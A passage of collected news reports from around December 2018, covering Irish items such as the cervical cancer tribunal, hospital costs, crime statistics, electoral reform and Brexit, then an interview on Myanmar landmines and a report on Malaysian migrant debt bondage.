files. Health Minister Simon Harris confirmed Ms Justice Mary Irvine will take up the role as soon as possible and will hear evidence in private throughout next year. Mr Harris said that the tribunal will conduct its work based on the recommendations from Mr Justice Charles Meenans initial review, which was completed in August. He said despite demands to hold all questioning in public, the tribunal will be held in private in order for it to be less adversarial than the current court process and that the review will differ from the current court process in that it will be voluntary. The tribunal will allow women to progress their cases in a timely and sensitive, less adversarial manner, while equally respecting the constitutional entitlement of all parties to a fair hearing. "This will take time to establish but all arms of Government are working to progress as a matter of urgency, Mr Harris said. The Health Minister also said he is considering the establishment of an ex-gratia compensatory scheme in addition to the plans, the details of which will be revealed early next year. He also confirmed any decision by a woman or family affected by the cervical cancer tests scandal does not in any way restrict the right of women or their families to give evidence in public in the High Court, if that is their wish. Meanwhile, Finance Minister Paschal Donohoe has warned that there will be no new money to pay for the rising cost of the National Childrens Hospital, despite criticism of its latest 1.433bn price prediction. On Tuesday, the Cabinet was told the price of the project is now likely to be almost three times higher than was first envisaged, and that money will have to be found from other projects to pay for the increase. Asked about the spiralling costs yesterday, Mr Donohoe insisted he has no intention of raiding other areas. Every Government minister needs to manage projects that they have, he said. If there are overspends they need to be managed within their own budgets. My message in dealing with this issue in the Department of Health and all other government colleagues is that if projects overrun, I will not be changing the planned capital expenditure figures for 2019 and 2020. "I will not be providing new money from the taxpayer for projects that move over budget for whatever reason. Lidl has issued a warning that there is a scam doing the rounds that appears to be from them. Texts are being sent to people claiming to be from the supermarket saying that you have won a prize draw. The Dublin man who abducted and repeatedly raped an 18-year-old Spanish student at a derelict site in the city has asked to be transferred to the Central Mental Hospital. Eoin Berkley, 25, of Hampton Wood Way, Finglas, admitted raping the girl at the Irish Glass Bottle Company site, Pigeon House Road, on three occasions between July 15 and 16, 2017. Last month he was jailed for 14 years for what the judge described as most horrific crimes that were particularly degrading for the young woman. Mr Justice White said the woman was violated in a horrendous manner and there was a collective sense of shame that a visitor to Ireland had suffered in such a vile way. As part of the sentence, Mr Justice Michael White imposed three years post-release supervision. Today, Berkley appeared at the Central Criminal Court so Mr Justice White could outline the terms of his post-release conditions. He ordered that Berkley be assessed for the Safer Lives programme or similar, that he follow the directions of his mental health providers and attend all appointments with The Probation Service. He also directed that Berkley complete a victim awareness programme and notify authorities of any change in his address post-release. Berkley then asked the judge if he could be transferred to the Central Mental Hospital. Mr Justice White told Berkley that places in the CMH are at a premium and that the prison services would be carefully monitoring his mental health. He informed Berkley that if he didn't comply with the post-release conditions, he could be prosecuted in the District Court and face a maximum 12 month sentence. Mr Justice White told John Fitzgerald SC, defending, that it would help Berkley immensely if he engaged with The Probation Service officer while in prison. The judge accepted that Berkley was not in a great mental condition to speak to a probation officer, but told Mr Fitzgerald that it would be of great assistance to him to do so. At the sentence hearing, a doctor's report handed into court found Berkley had a significantly compromised development and suffered from a severe personality disorder. The court heard that while in custody on these matters, he used his own blood to write the words I'm so sorry on the walls of a prison cell. It has been a momentous year across the globe, writes Peter Apps , with 2018 chock-full of shocks and surprises on the political, socio-economic, and space exploration front From the rapprochement between North and South Korea at the Winter Olympics in January to Decembers frantic news agenda, 2018 has had no shortage of surprises. Below are my key picks for the defining moments of the year. Elon Musk, Mars, and a roller coaster year for billionaires On February 6, Elon Musks Falcon Heavy rocket blasted into space from Florida and sent a cherry-red Tesla roadster hurtling toward Mars. On February 6, Elon Musks Falcon Heavy rocket blasted into space from Florida and sent a cherry-red Tesla roadster hurtling toward Mars. It was a powerful statement about the influence and ambition of a new generation of tech billionaires. Overall, however, 2018 would be a rough year for the group, and Musk was no exception. By July, he was embroiled in a high-profile spat with a British cave rescue diver over a miniature submarine he had hoped would help rescue 12 boys trapped underground in Thailand, just one of a series of increasingly negative headlines. Facebook founder Mark Zuckerberg once touted as a potential US presidential candidate had scarcely a better year, his firm plagued by its own stream of scandals and political headwinds. Google, whose chief executive Sundar Pichai became the latest tech chief summoned before Congress, faces a mutiny from some workers on multiple topics, including his dealings with the US and Chinese governments. Amazon founder Jeff Bezos faces mounting criticism over working conditions and low tax payments. Yet none of this looks set to stop tech firms from continuing to radically disrupt the world indeed, many of their founders appear to believe their mission is to do so. Expect these battles to grow in 2019, particularly if new technology such as artificial intelligence and driverless cars accelerate change. Trump fires advisers, tightens his grip Trump seems keen to trust his own judgment rather than that of establishment-based gatekeepers or Republican insiders. One billionaire learning his way around the political system in 2018 was US president Donald Trump. After reports of growing frustration with some of his most senior officials, March saw him fire Secretary of State Rex Tillerson and National Security Adviser HR McMaster. Both had been viewed as moderating influences on Trump, with successors Mike Pompeo and John Bolton perceived as less prone to questioning him. This months departure of White House Chief of Staff John Kelly leaves Defence Secretary James Mattis the key restraining influence. Overall, Trump seems increasingly keen to trust his own judgment rather than that of establishment-based gatekeepers or Republican insiders. POTUS woos Kim and Putin. Elsewhere, diplomacy unravels North Koreas Kim Jong Un and US president Donald Trump after a signing ceremony during their historic US-North Korea summit. In Singapore in June and in Helsinki in July, Trump upset many in his own administration with the warmth of his meetings with North Korean leader Kim Jong Un and Russian president Vladimir Putin. The friendliness of the summits stood in stark contrast to the G7 gathering of Western and Allied leaders in Canada, also in June. There, Trump appeared more isolated than ever before on topics including climate change, protectionism and relations with Russia. The G7 leaders were unable to agree on a communique, with the six non-US members making their own statement independent of Washington. Events at the G7 pointed to a wider malaise in international diplomacy. World leaders at Novembers Asia-Pacific Economic Cooperation summit in Papua New Guinea also failed to agree on a communique, this time due to divisions between China and the United States and its allies trade. Military posturing is also on the rise. Russia, China and Nato each held their largest wargames in recent history this summer, while confrontations between jets and warships in the South China Sea and Europe have also increased markedly. Khashoggi killed as authoritarian states take the gloves off Journalist Jamal Khashoggi, who was murdered and reportedly dismembered in Saudis consulate building in Istanbul The worlds authoritarian states appeared at least equally as focused on stifling dissent and opposition. Nowhere was that clearer than in the case of Saudi journalist Jamal Khashoggi, who was murdered and reportedly dismembered in his own countrys consulate building in Istanbul. Like the suspected Russian nerve agent assassination attempt on a former double agent in the UK town of Salisbury the previous year, the killing sparked international outrage and some diplomatic isolation of Riyadh but little in the way of convincing apology from those believed responsible. A string of autocratic governments appear increasingly dismissive of human rights, openly taking draconian action against critics and enemies alike. Russia is continuing its ruthless military campaign against remaining rebel enclaves in Syria, and a Saudi-led coalition has persisted in its war in Yemen at catastrophic cost to civilians, where millions now face starvation. China is cracking down on its Muslim Uighur minority, with a UN report citing estimates Beijing has interned up to one million in reeducation camps. Such steps suggest authoritarian rulers like Chinas Xi Jinping and Russias Putin may not feel as secure as they appear or that they believe such brutal tactics are simply necessary to retain their grip. G20 meets as Paris burns Novembers G20 gathering in Argentina was perhaps the years most successful multilateral gathering, with world leaders managing to agree on a largely bland communique on reform of global trade. Trumps meeting with Chinas Xi brought some temporary relief from the two countries trade war, even as Ukraine tensions and Muellers Russia probe made a Trump-Putin meeting impossible. There was still no shortage of disagreements on show, however and as the leaders met, riots in Paris were grabbing global headlines. Almost every Western leader in Argentina returned home to an existential political crisis. French President Emmanuel Macron has since bowed to some of the demands of the yellow vest protesters, particularly over fuel tax, but that has not been enough to stem the unrest. German Chancellor Angela Merkel has signalled she will shortly leave politics, although she has seen some success in appointing a protege to lead her party. Trump went back to Washington to face the fallout from former lawyer Michael Cohens admission of lying to Congress about a Trump Tower project in Moscow; British Prime Minister Theresa May has so far failed to find a Brexit deal she can get through Parliament. Many of these impasses stem from a much wider crisis in Western nations, with rising wealth gaps and often mounting discontent and hardship among the poorest. Solving those issues will be tough and more disruption feels inevitable through 2019 and beyond. Peter Apps is Reuters global affairs columnist, writing on international affairs, globalisation, conflict and other issues. He is founder and executive director of the Project for Study of the 21st Century; PS21, a non-national, non-partisan, non-ideological think tank. Before that, he spent 12 years as a reporter for Reuters covering defence, political risk and emerging markets. Crime is up among most categories - including robbery, sexual offences and drugs possession - according to new figures released by the Central Statistics Office. However, the CSO has applied a health warning to the recorded crime statistics due to the offices ongoing concerns about the quality of the data it is receiving from gardai. The figures released by the CSO show that in the 12 months up to September 2018: There was a 11.7% overall increase in sexual offences, including a 17.4% increase in rape, and a 10.8% rise in non-aggravated sexual assault. There was a 19.3% drop in homicide offences - but a 6.7% rise in attempts or threats to murder, assaults, harassments and related offences. While there was a slight decrease in drink driving (1.7% drop), the number of cases of driving under the influence of drugs rose by almost half (49.4%). Justice Minister Charlie Flanagan said the rise in the recorded incidents of sexual assault, and particularly rape, "continues to be an area of key focus for both the Government and An Garda Siochana. I would strongly encourage anyone who has been the victim of such attacks to please contact An Garda Siochana and report the incident as soon as possible. I can assure all members of the public that Gardai will be on hand to support all those who come forward where they will be treated at all times in a professional and sensitive manner Mr Flanagan said. Mr Flanagan said the sexual offences bill currently progressing through the Dail will provide for stricter sentencing for repeat sexual offenders, and a review of the investigation and prosecution of sexual offences, with an emphasis on vulnerable witnesses, is underway. He praised the work of gardai in tackling organised crime and murder and said Operation Hybrid in Dublins North Inner-City has prevented more than 50 murders. In releasing the figures, the CSO has again said that the statistics are released under reservation, due to its concerns about the quality of the source data, which is taken from An Garda Siochanas PULSE database. Statistician, Olive Loughnane, said the CSO will continue to apply this health warning to the recorded crime stats until it is satisfied with the quality and accuracy of the source data: In March, the CSO resumed publication of recorded crime statistics using the category of 'Statistics Under Reservation' to provide the best available measure of police-recorded crime in Ireland while informing users of their concerns regarding the quality of the underlying data." The CSO is committed to assisting AGS in improving data quality wherever possible, and have proposed a data quality improvement plan to AGS. The criteria in this plan address quality concerns across a broad range of issues relating to the recording and classification of crime, she said. Mr Flanagan said a recent CSO review found that clear improvements had been made in the manner in which criminal incidents were being recorded on the PULSE system. While this is encouraging, it is clear that there is more work to be done in this area and my Department, in conjunction with the Policing Authority, will continue to monitor the progress of An Garda Siochana and the CSO in ensuring that the national crime statistics are returned to the higher standard required by the CSO, he said. Combating fake news, regulating political advertising online, and fixing the electoral register are central to radical Government plans to establish an Electoral Commission. The plans are detailed in two confidential Cabinet memos seen by the Irish Examiner. They also include provisions to allow 16-year-olds pre-register to vote and making it easier for homeless people to be able to vote. The proposals from Housing Minister Eoghan Murphy, to be formally announced next week, seek to address the need to modernise the electoral register as well as regulating transparency of online political advertising. The memos, discussed and approved by Cabinet three weeks ago, reveal that four options for how the commission will operate are under consideration. The Cabinet agreed to expedite the establishment of an Electoral Commission as well as introducing regulation as to how political adverts are placed online. Ministers were informed of the details of a regulatory impact analysis which outlined four options for how an Electoral Commission would operate. Those options were: No policy change; Establish a commission on a non-statutory basis with very limited powers; Establish a commission on a statutory basis with some initial powers with a view to extending powers down the line; Establish a commission on a statutory basis with all powers with immediate effect. The memos show that ministers were also told of plans to reform legislation provisions concerning the funding of election and referendum campaigns, in line with recommendations from the Mahon Tribunal report. However, the work of an Electoral Commission would also seek to support EU work in tackling online disinformation, the memo adds. It is also expected that the ethics-in-public-office function currently handled by the Standards in Public Office would transfer over to a new commission which would also assume many of the functions carried out by the Department of Local Government. Ministers were also briefed about the modernisation of the electoral register project which is looking at a range of possible improvements in the electoral registration process. Key proposals being considered include a single national register, continuous registration and online options for public interaction. Given the importance of the electoral register, the process being planned includes a significant public consultation element and the process will take two to three years. Technical consultations with registration authorities and other bodies, including the political system, will also form part of deliberations. One of the proposals being considered is for provisional registration for 16- to 17-year-olds which would automatically activate on their 18th birthdays, enabling a schools programme to maximise youth engagement. This would assist in increasing youth engagement with the register without introducing additional potential for inaccuracy that could result from adding people automatically with address details that may be out of date, the memo states. It is also planned to clarify and simplify procedures to facilitate those without a fixed address to register. The plan will examine the possibility of using PPS numbers to identify voters and sharing data between public bodies to automatically update peoples addresses on the electoral register. Labours Housing spokesperson and former minister Jan OSullivan expressed concern about the potential use of PPS numbers given it could lead to peoples personal data being exposed. However, she said there is a need to eliminate the situation where many people are registered to vote in two or more locations because of weaknesses in the system. A man whose earlier suspended sentence was reactivated after he pleaded guilty to a later charge of dangerous driving causing death has won a significant Supreme Court appeal. The appeal was brought over a decision he was not entitled to rely on a finding of unconstitutionality of the law governing activation of suspended sentences. The key issue in Eric Wansboro's case was whether a person sentenced under a procedure later found unconstitutional, and whose proceedings had not been "finalised", could challenge the lawfulness of his detention. The Supreme Court ruled, by a four to one majority, that, because Wansboro had an outstanding appeal against sentence when the High Court in 2016 made its declaration of unconstitutionality in the Moore case, he could rely on that declaration to challenge the reactivation of his suspended sentence. The DPP will now consider whether to remit the issue of sentence back to the Circuit Court. The declaration of unconstitutionality in the Moore case concerned Section 99(9) and 99(10) of the Criminal Justice Act 2006 governing reactivation of suspended sentences. Section 99 required a sentencing court to revoke the suspension unless it considered that to be unjust and required that be done before sentence was imposed for the "trigger" offence (the offence which triggered the application to reactivate). It was held unconstitutional because the procedure did not provide for the possibility the trigger offence conviction might be set aside on appeal, with the effect the suspended sentence ought not to have been reactivated and consequent injustice to the individual affected. In Wansboro's case, he was sentenced by Dublin Circuit Criminal Court in 2013 to three years jail, with the entire sentence suspended, after admitting offences of December 2012 including unlawful taking of a motor vehicle. He was later arrested in 2014 on charges including dangerous driving causing death of a passenger in his car, pleaded guilty in 2015 and received a five year sentence. On a Section 99 application, the trial judge ordered he serve the previously suspended sentence before the five year sentence. He appealed but the High Court dismissed his appeal, ruling he was not entited to rely on the Moore decision. The Supreme Court agreed to hear an appeal directly to it for reasons including a number of similar cases raised the same point of law. Giving the majority judgment on Friday, Ms Justice Elizabeth Dunne said the process by which Wansboro was brought back before the Circuit Court to have his suspended sentence revoked has been found unconstitutional. Wansboro did not engage in any conduct that could debar him from relief and there was no apparent reason why he could not rely on the finding of invalidity concerning Section 99, she said. There was "a want of due process of law" as the Circuit Court judge lacked jurisdiction to revoke the suspended sentence. A finding that an Act, or part of an Act, is constitutionally invalid will not result in "final" decisions made in judicial proceedings being set aside because of the declaration of unconstitutionality, she also said. The extent to which someone may be debarred from relying on the finding of unconstitutionality will depend on the circumstances of any given case, she stressed. In a concurring judgment, Mr Justice Donal O'Donnell agreed, "with some reluctance", with the majority but "sympathised fully" with the concerns raised by Ms Justice Mary Finlay Geoghegan in her dissenting judgment. Ms Justice Finlay Geoghegan said Wansboro pleaded guilty to the 2012 and 2014 offences, lodged no appeal against his convictions and therefore the convictions "had reached finality" with only the custodial sentences imposed in May 2015 not final. Wansboro submitted at the May 2015 hearing to the jurisdiction of the Circuit Court and his approach meant he was debarred on appeal from taking an approach inconsistent with that conduct, she held. The facts do not give rise to an apprehension of "a real injustice" having occurred, she added. University College Cork (UCC) has become the only university in Ireland to make the top 10 in a list of the greenest universities in the world. According to the UI GreenMetric World University 2018 ranking, which measured more than 700 institutions across 81 countries on how they perform across operations, educational and research activities, UCC is ninth best in the world for sustainability. UCC will host the international UI Green Metric conference in April 2019. The university was also recently named the first third-level institution outside the US and Canada to win the gold Sustainability Tracking, Assessment & Rating System (STARS) rating from the Association for the Advancement of Sustainability in Higher Education (AASHE). The Institution joined the likes of Princeton, Cornell and UC Berkeley in achieving the accolade for its excellence in sustainability, with schemes such as the Green Campus Programme and the Green Forum. These successes reflect the collaborative approach to sustainability across the University with a strong commitment from the University's Management Team, said Professor John OHalloran, Deputy President and Registrar, UCC. The University is home to Irelands first plastic-free cafe, which has prevented more than 20,000 disposable items going to waste since it opened at the Universitys Biosciences Institute in September this year. A pilot project for catering company KSG, everything from fresh vegetables to cooked meats is delivered from local suppliers and the Universitys farm in long-life containers. Other environmental initiatives include the Green Library campaign and a pollinator strategy with several beehives on campus. Mark Poland, UCCs Director of Buildings and Estates and Green Forum co-chair said, UCC is committed to continually improving its environmental performance and engaging its entire community of students and staff in these efforts. UCC published its first Annual Sustainability Report this week, which celebrates a decade since UCC students first embarked on the Green Campus programme and the University hitting its Public Sector Energy Efficiency target, slashing consumption by 33% three years ahead of schedule. University College Cork is home to Irelands first plastic-free cafe, which has prevented more than 20,000 disposable items going to waste since it opened in September. Pic: Provision. In May this year, after running a University-wide module in Sustainability, UCC welcomed delegates from the Universidad Nacional de Colombia, University of Massachusetts, Lowell; and the Central American University in El Salvador to take part in its first Sustainability Summer School. UCC was the worlds first university to be awarded a Green Flag from the Foundation for Environmental Education initially in 2010 and has consistently ranked in the top 15 of the UI Green Metric since entering the ranking in 2011. Avoiding a hard border with Nothern Ireland will become very difficult should the UK change its customs rules after a no-deal Brexit, the Taoiseach has said. Leo Varadkar explained that if the UK leaves the EU without a deal, it would still be aligned to EU customs and regulations as things currently stand. He said problems would only arise if the UK decided to make changes. "In the event of a no deal Brexit - I am nearly always loathe to speculate on because it is speculation, and a lot of it raises more questions than I can give answers. If the UK crashed out of the European Union at the end of March they would still be aligned on customs and regulations," he said. "So the problem would only arise if they decided in some way to change their customs and regulations - and that's where it could get difficult. "But that is something obviously we are going to have to talk to them about in a no-deal scenario. There is a real understanding across the EU that this isn't a typical border, that this is a border that goes through villages, goes through farms, goes through businesses and of course is a border that people fought and killed other people over," he said. To speak of planning for a return of a border with Northern Ireland could easily make that happen, Mr Varadkar has warned. Mr Varadkar restated his position that the return of a border is not being contemplated. "We are not preparing for a hard border between Northern Ireland and Ireland. We have made no preparations whatsoever for physical infrastructure or anything like that. We certainly do not want it to become a self-fulfilling prophecy, he said. We simply cannot countenance that being the case. As I say, the whole principle of avoiding a hard border can only be achieved with a deal and its customs divergence which would create the problem, he said. He said the best way to avoid a hard border is to have a deal, and there is a deal on the table. I hope Westminster and the European Parliament will be able to ratify it in the New Year. And we will continue to work with our European partners and the UK and our European guarantees to give assurances and guarantees on that issue, obviously without reopening the Withdrawal Agreement itself, he said. Mr Varadkar remained adamant about the border issue but added there had already been some talks with the UK and Ireland's European partners about difficulties Ireland could face if the UK changed their customs regulations. "The answer I've been giving people all along is the honest truth," he reiterated. We're not making plans for a hard border between Northern Ireland and Ireland. Our focus is entirely on getting an agreement that ensures that that doesn't happen. The Government unveiled contingency plans to cope with a potential no-deal Brexit on Wednesday, identifying affected sectors that would require up to between 40 and 50 pieces of new legislation. The no-deal plans include the purchase of land at ports to prevent congestion from new customs. "The contingency plans we are making are very real but they are happening at our ports, particularly Dublin Port, Dublin Airport and Rosslare, where we have acquired or are in the process of acquiring land and will develop border control posts in those places," Mr Varadkar added. "They may be needed in March in the event of a hard Brexit, but if they are not needed in March, they will be, or are very likely to be, needed at some point into the future. "So that is the contingency planning that we are making, but we are not making (plans for) the border between Northern Ireland and Ireland. By Ciara McDonnell Along with festive crackers, chocolate and a Christmas feast, a West Cork welcome was served up to guests enjoying a break from a local direct provision centre. Monk's Lane, a Timoleague restaurant, was packed to the rafters with laughing children and doting parents - at the invitation of owners Gavin and Michelle Moore. The guests at this extra special luncheon are residents of Clonakilty Lodge Direct Provision (DP) centre. The couple were inspired by Michelles sister, makeup artist Siobhan OMahony, who raised enough money over the last month to gift the mothers of Clonakilty lodge a 50 voucher per child to spend this Christmas. Siobhan was part of a giving group which I established in October, to ensure that the 300 children living in DP centres across Cork county are given the Christmas they deserve. We wanted to give mothers the simple pleasure of buying their children gifts - something they do not have an opportunity to do while living on 21.60 per person per week. Very quickly, the people of Cork responded, and soon friends came on board to fundraise for their local centres. Deirdre OShaughnessy and Lilly Higgins raised more than 5,000 for Glounthaune; Hazel Hurley raised enough money to gift 144 children at Drishane Castle in Millstreet this Christmas and Kate Durrant raised the money needed for the families at Mallow. The reaction to our campaign has been phenomenal, says Siobhan. One of the reasons I got involved is that we dont have a lot of information about DP, a lot of locals dont know whats even going on up in the Lodge. Gavin and Michelle approached Siobhan with the idea of throwing a party to celebrate the holidays, and an open invitation was sent out to Clonakilty Lodge. Not all residents felt able to take up on the kind offer, says Siobhan: There are huge issues with mental health amongst the residents of the Lodge, and in DP centres in general. Theres a huge issue with mental problems in DP, particularly depression, and a lack of understanding with how to cater for it. Initiatives such as the meal at Monk's Lane are extremely important, says Jennifer DeWan of Nasc, the Migrant and Refugee Rights Centre: We all know Christmas can be a difficult time when we are far away from family, and many asylum seekers living in DP whether they celebrate Christmas or not will be feeling that separation keenly at this time of year. For Gavin and Michelle Moore of Monk's Lane, inviting the residents of Clonakilty Lodge to a festive lunch at their restaurant was a chance to reach out to the community living within their community: We wanted to let these people know that they are part of our community, and to do something that would give them a 'West Cork welcome' and put a smile on their faces this Christmas." Three weeks ago, the Cabinet discussed and approved plans from Housing Minister Eoghan Murphy to radically change how elections in this country are run. Detailed memos relating to those plans were circulated to ministers in advance of the meeting, setting out the various options before them, particularly in relation to the establishment of an electoral commission. This has been talked about for many years and was a key commitment in the 2016 programme for government agreed between Fine Gael and its Independent ministerial colleagues. These plans are due to be published next week but the Irish Examiner today publishes the details of what is proposed. Those Cabinet memos are part of a long overdue modernisation of how elections are carried out in this country. It is widely accepted across the political spectrum that the status quo is no longer tolerable, particularly in light of the register, which is deemed to be widely inaccurate. Ministers were informed of four options for the pending commission. One offer is to keep the register in the hands of the 31 local authorities but this is not seen as tenable given its huge deficiencies at present. The second is to establish it on a non-statutory basis which would seem like a pointless exercise. This would be the preferred option if the Government was merely seeking to pay lip service to reform. The third option is to establish it on a statutory basis but to give it limited powers to start off with. The memo states: Establish the commission on a statutory basis and assign a limited number of functions initially with a view to assigning further functions over time. This is seen by some as the most likely outcome as politicians from across the floor of the Dail are highly sensitive to any changes as to how they win their seats. The fourth and final option offered is to establish the electoral commission on a statutory basis with all functions transferred from the outset. This is seen as a risky option. Murphy will return to the Cabinet in the new year with his preferred option for ministers to approve. Ministers were also informed of other key proposals being considered which include the creation of a single national register, with continuous registration and online options for public interaction. Given the importance of the electoral register, the process being planned includes a significant public consultation element and the process will take two to three years, states the memo. What is also interesting in the memos is the mention of reform of how election campaigns are funded. The plans commit to reform of legislation provisions concerning funding of election and referendum campaigns which primarily will seek to limit the ability of external forces to fund election races under the radar. Ultimately, these reforms are welcome and long overdue. No electoral register will ever be perfect and while Minister John Paul Phelan is correct to say the current system has served us well, it is also true to say it has had its day and is in dire need of reform. Interview Myanmar Govt Could Start Demining Program 'Tomorrow,' Researcher Says Landmine Monitor research coordinator Yeshua Moser-Puangsuwan speaks with The Irrawaddy in Yangon on Wednesday. / Htet Wai / The Irrawaddy YANGON Since 2007 Myanmar has suffered the third highest number of antipersonnel landmine casualties among Asian countries and is now fifth in terms of landmine use globally. There were 202 landmine victims across 78 townships over the past year alone, according to the latest Landmine and Cluster Munitions Monitor report, launched in November. Since Myanmars peace process begin in late 2011, almost 1,200 people have been killed or injured by mines, more than 90 percent of them in Kachin, Shan and Karen states or eastern Bago Region, according to Landmine Monitor Myanmar, which shares data with the International Campaign to Ban Landmines. Yeshua Moser-Puangsuwan is the Landmines Monitors research coordinator. He said there have been at least 4,193 landmine casualties in Myanmar since 1999 but suspected the true number to be higher. This years report says the latest casualty numbers were exacerbated by the militarys continued use of landmines for defense and the forced labor of civilians in conflict zones. It says Myanmars myriad ethnic armed organizations (EAOs) also continued to use antipersonnel mines and that the country still lacks any formal mine clearing operation despite mention of it in the Nationwide Ceasefire Agreement (NCA). Myanmar was also the top recipient of international funding for mine action in 2017 with $6.2 million earmarked for non-technical surveys, risk education and victim assistance. Irrawaddy reporter Nyein Nyein spoke with Moser-Puangsuwan in Yangon about his work in Myanmar and how best to reduce mine casualties. How do you gather information on injuries or deaths caused by landmines? Theres no formal record, so we can count what we can count, but we dont believe thats comprehensive because theres things, obviously, that were missing. So we ask for people to open records. Under the Convention on the Rights of Disabled People, the government should be doing more surveillance of landmine disability as well as every other kind of disability. They honestly lack the capacity to do so. They need to ask for more help. How do you verify that these people are still using landmines? We have these allegations, and the more detailed the allegations, the more confident you could have in it. Many of them come from local people; theyve been warned by one side or the others, Dont go to that area. Everybody knows what the code means; it means there are mines there. And so this is one of the ways in which we know it. The other way is, theres a casualty, a red flag that mines are there. We might know whos operating in that area, which gives us an idea about it. There may be allegations by the local community that that was the last unit through. So you have to make assessment on this. Its very difficult to do. How can we improve the situation not to have more landmines? There will be elections coming up soon and this is something that should be asked [of] every political candidate. What is their stand on continued use in the country? Do they want to see Myanmar become a party to the 1997 Mine Ban Treaty, which comprehensively bans the mines and have remediation effects of victim assistance and mines clearance? This is the solution to the problem. Even the Myanmar government said so in their statement of November of this year, three weeks ago in Geneva. They have said that the Mine Ban Treaty is the solution to the problem of landmines contamination. So of course this is the direction that we encourage them to go in every opportunity that we have to encourage them. But were from outside the country. We can help in many ways, but ultimately its the people of the country here that need to hold the leaders to account, and one of the opportunities you have is the upcoming election, of asking political candidate, Well, where do you stand on this? Do you want to see Myanmar join the Mine Ban Treaty? In the NCA there is a section for demining and protecting the civilian. But I heard that some of the [armed] groups, theyre starting to do mine awareness and starting to learn about demining things. They cannot really do that yet. Why do you think it is? The government is not allowing them? You would have to ask each and every one of them that question to get a clear picture. Several groups have asked for assistance with mines clearances, and within the NCA framework it doesnt seem that theyve been able to get that. Different people have different readings for that we have to wait for JMC [Joint Monitoring Committee], various other things. But there is no reason why the authorities could not put together a civil, not a military, but a civil mine clearance entity now and start working on the areas that are solely under its responsibility, that doesnt deal with the NCA. And once you start, its easier to expand that program into other areas. If they [EAOs] do demining, would it [have an] effect on the peace process? I think it would build confidence, because immediately youd have a peace dividend. People get their lands back. They have a safer environment. If its done together, it builds confidence. So its a double win. It is only a good thing. Its called for in the NCA. They should mobilize it and it will strengthen the peace process. And it will show that theres commitment to the peace process. Some people are questioning that [commitment] now. So thats really important to do. You said all the mines here, they havent [been] demined yet. Thats correct. Theres been no formal mine clearance program. There have been some haphazard attempts at clearing mines that we have seen over the years, and usually what happens is an ethnic armed group or the Tatmadaw [military] said they mine clear and area, they go in, they have a casualty, and they stop. [Do] you work closely with the EAOs and Tatmadaw and everyone else for the documentation? We talk to everyone. And of course we encourage them in the direction of the 1997 Mine Ban Treaty or, in the cases of ethnic armed groups, who cant sign an international convention, that they put their practices in alignment with those types of legal restrictions. So this is something that we always ask them to do. There are a variety of types of systems out there even [for] ethnic armed groups, and I know some of them are interested in moving forward. But that just doesnt seem to be happening. Which groups are really interested in demining? Karenni and the Karen. But the progress [does] not seem [to be] a lot. Thats correct. Theres no formal clearance program going on. So from you experience, the information gathering has always been difficult. That we know. We can see from your presentation. So how does this change, from the military, to the quasi-military, to the current [administration]? Is it getting [harder] to gather information? No. I would say that its better than it had been in the past, partly because there is now formal acknowledgements that theres a problem. So its easier to have the conversation. When people are denying that theres even a problem, its very difficult. So now theres formally been an acknowledgement that there is indeed the problem. But the discussion is, what do you do next at this point? We would like to see them [the government] start now, but we want to see that they do the mine clearance to international standards. If they do secretive mine clearance, thats not going to help. Nobodys going to know whats safe and whats not. About civil society participation in mine clearance, we know that civil society groups in Myanmar [are] strong and willing to do that. But in terms of their awareness and technical advancement, what level are we at? Before zero. Where in Myanmar can demining begin? Have you ever been on the road out to Hpa-an [in Karen State]? Ok, so the south side of that road, theres a big concrete factory or whatever it is. There are mines in that area. The local people would love to have them removed. Theres been no conflict there for 20 years. That area could be cleared tomorrow. It wouldnt make any different to anybody except the local community. They would love to have that land back. There are lots of places like that. Asia Malaysia Targets Middlemen to End Debt Bondage of Migrant Workers Workers wait to start work outside a soon-to-be-completed condominium project at Kota Iskandar in Johor, Malaysia, on Feb. 4, 2015 KUALA LUMPUR Under pressure to crack down on labor abuses, Malaysia is moving to eliminate middlemen who charge millions of foreign workers exorbitant recruitment fees, leaving them saddled with debt and vulnerable to exploitation. From factories to construction sites and plantations, the Southeast Asian nation relies heavily on foreign workers for jobs usually shunned by locals. Many arrive having borrowed huge sums to pay recruitment agents, meaning they have to work for years earning virtually nothing a form of modern-day slavery known as debt bondage. In a bid to address this, recently Malaysia struck a deal with Nepal to directly recruit workers there, without going through agents. The agreement came after Nepal temporarily suspended sending workers due to concerns about their treatment. This is aimed at curbing human trafficking and exploitation of workers, Malaysian Human Resources Minister M. Kulasegaran told the Thomson Reuters Foundation. They must not be in a bondage situation in this country and caught in a vicious cycle of earning to pay back money. Under the agreement, which came into effect on Oct. 29, Nepali workers will be hired on a government-to-government basis. Malaysian employers will have to bear all the recruitment costs, including airfare, and visa and medical check-up fees. Kulasegaran said Malaysia is negotiating similar agreements with Bangladesh, Indonesia and Vietnam. Bangladesh, Indonesia and Nepal are the top providers of Malaysias nearly 2 million registered migrant workers, government figures show. There are millions more without work permits. Overworked The worlds largest glove maker, the Malaysian firm Top Glove, said this month it would cut ties with unethical recruitment agents, after some of its migrant workers were found to have clocked excessive overtime to clear debts. Campaigners for years have asked Malaysia to eliminate the middlemen who charge migrants up to 20,000 Malaysian ringgit ($4,790), a debt they often toil for years to pay off. Debt bondage is one of the most prevalent forms of modern slavery, which affects more than 40 million people worldwide, according to the United Nations International Labor Organization. The U.S. State Departments 2018 Trafficking in Persons report put Malaysia in its Tier 2 Watch List the second-lowest ranking for not meeting the minimum standards in efforts to eliminate human trafficking, including debt bondage. Since a reformist government swept into power in May ousting a long-ruling, corruption-mired coalition it has suspended a key recruitment firm accused of exploiting workers, and initiated a review on migrant worker policies. High recruitment fees mean that migrants often become trapped, working excessive hours in the hope of repaying their debt more quickly. Indra, who left Nepal for Malaysia in 2011 to work on a plantation, said he had to fork out $1,100 to pay an agent. He managed to repay the debt within six months by borrowing money from relatives. But he said others are not so lucky, and are instead forced to turn to moneylenders who charge interest of at least 3 percent monthly. Migrant workers must work extra hours to service the debt as the interest builds up, but they struggle to pay it off entirely, he said. Many workers have to ask for overtime work, because they have no other options to survive if they dont do that, said Indra, who now works at a laundry firm in downtown Kuala Lumpur and declined to give his full name for fear of reprisals. Change the system Kulasegaran, the government minister, has urged major firms operating in Malaysia to take the lead in ensuring there are no labor abuses among migrant workers. While Top Glove has pledged to cut ties with unscrupulous agents, the issue remains sensitive for many companies, including the electronics brands Samsung and Panasonic, which both declined to comment. A spokeswoman for the palm oil giant Wilmar, a Singapore-listed firm with nearly 9,500 migrant laborers on its plantations in Malaysia, said the company has been paying recruitment costs for foreign workers since 2012. Aegile Fernandez, from the Malaysian migrant rights group 